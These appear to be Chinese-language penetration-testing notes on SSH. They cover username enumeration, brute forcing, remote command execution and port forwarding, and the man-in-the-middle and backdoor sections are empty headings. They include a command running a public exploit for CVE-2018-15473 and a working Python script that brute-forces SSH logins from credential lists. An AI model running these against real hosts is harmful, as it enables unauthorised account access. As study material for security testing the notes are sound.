- SSH用户名枚举
- SSH暴力破解
- SSH远程操作
- 端口转发
- 中间人攻击
- SSH后门
-C 压缩数据传输
-f 后台认证用户/密码,通常与-N连用,不用登陆到远程主机,如果通过其他程序控制隧道连接,应当避免将SSH客户端放到后台执行,也就是去掉-f参数
-N 不执行shell[与 -f 合用]
-g 在-L/-D/-R参数中,允许远程主机连接到建立的转发端口,如果不加这个参数,只允许本地主机建立连接
-L 本地端口转发
-R 远程端口转发
-p ssh 端口
-l 指定登录用户名
OpenSSH用户名枚举漏洞(CVE-2018-15473)
https://github.com/Rhynorater/CVE-2018-15473-Exploit
python3 sshUsernameEnumExploit.py --port 22 --userList exampleInput.txt ip
SSH暴力破解
#coding=utf-8
from pexpect import pxssh
def coon(hostname,user,password):
try:
s = pxssh.pxssh()
result = s.login(hostname,user,password)
except Exception as e:
pass
return result
def main():
with open('/hostname.txt','r') as h1:
with open('/user.txt','r') as u1:
with open('/password.txt','r') as p1:
h = h1.readlines()
u = u1.readlines()
p = p1.readlines()
for hostname in h:
for user in u:
for password in p:
hostname = hostname.strip('\n')
user = user.strip('\n')
password = password.strip('\n')
try:
res = coon(hostname,user,password)
if res == True:
print '[-]success:',hostname,'-',user,'-',password
except Exception as e:
pass
if __name__ == '__main__':
main()
SSH远程操作
远程执行命令
ssh mark@10.211.55.13 'whoami'
执行需要交互的命令
ssh -t mark@10.211.55.13 'su root'
执行本地脚本
ssh mark@10.211.55.13 < test.sh
执行远程服务器上的脚本
ssh mark@10.211.55.13 '/home/mark/test.sh'
端口转发
SSH端口转发能够提供两大功能:
- 加密 SSH Client 端至 SSH Server 端之间的通讯数据。
- 突破防火墙的限制完成一些之前无法建立的 TCP 连接。
绑定本地端口
既然SSH可以传送数据,那么我们可以让那些不加密的网络连接,全部改走SSH连接,从而提高安全性。 假定我们要让8080端口的数据,都通过SSH传向远程主机,命令就这样写:
ssh -D 8080 user@host
SSH建立一个socket,监听本地的8080端口。当有数据发送端口,就把它转移到SSH连接上面,发往远程主机。如果8080端口原来是一个不加密端口,现在将变成一个加密端口。
转发方式:
- 本地转发
- 远程转发
- 动态转发
- X协议转发
本地转发
绑定本地端口的转发。用法:ssh -L 本地端口:目标主机:目标主机端口 <user@host>
假定host1是本地主机,host2是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台host3,可以同时连通前面两台主机。因此,很自然的想法就是,通过host3,将host1连上host2。 我们在host1执行下面的命令:
ssh -L 2121:host2:21 host3
这条命令的意思,就是指定SSH绑定本地端口2121,然后指定host3将所有的数据,转发到目标主机host2的21端口(假定host2运行FTP,默认端口为21)。 这样一来,我们只要连接host1的2121端口,就等于连上了host2的21端口。
ftp localhost:2121
"本地端口转发"使得host1和host3之间仿佛形成一个数据传输的秘密隧道,因此又被称为"SSH隧道"。
远程转发
绑定远程端口的转发。用法:ssh -R 远程主机端口:目标主机:目标主机端口 <user@host>
假定host1与host2之间无法连通,必须借助host3转发。但是,特殊情况出现了,host3是一台内网机器,它可以连接外网的host1,但是反过来就不行,外网的host1连不上内网的host3。这时,"本地端口转发"就不能用了,怎么办? 解决办法是,既然host3可以连host1,那么就从host3上建立与host1的SSH连接,然后在host1上使用这条连接就可以了。 我们在host3执行下面的命令:
ssh -R 2121:host2:21 host1
让host1监听它自己的2121端口,然后将所有数据经由host3,转发到host2的21端口。由于对于host3来说,host1是远程主机,所以这种情况就被称为"远程端口绑定"。 绑定之后,我们在host1就可以连接host2了:
ftp localhost:2121
动态转发
把远程ssh服务器作为代理服务器,常用于翻墙。用法:ssh -D <local port> <user@host>
ssh -D 8888 user@host
X协议转发
ssh -X <user@host>
中间人攻击
SSH后门
参考:
https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html
https://www.freebuf.com/articles/network/129434.html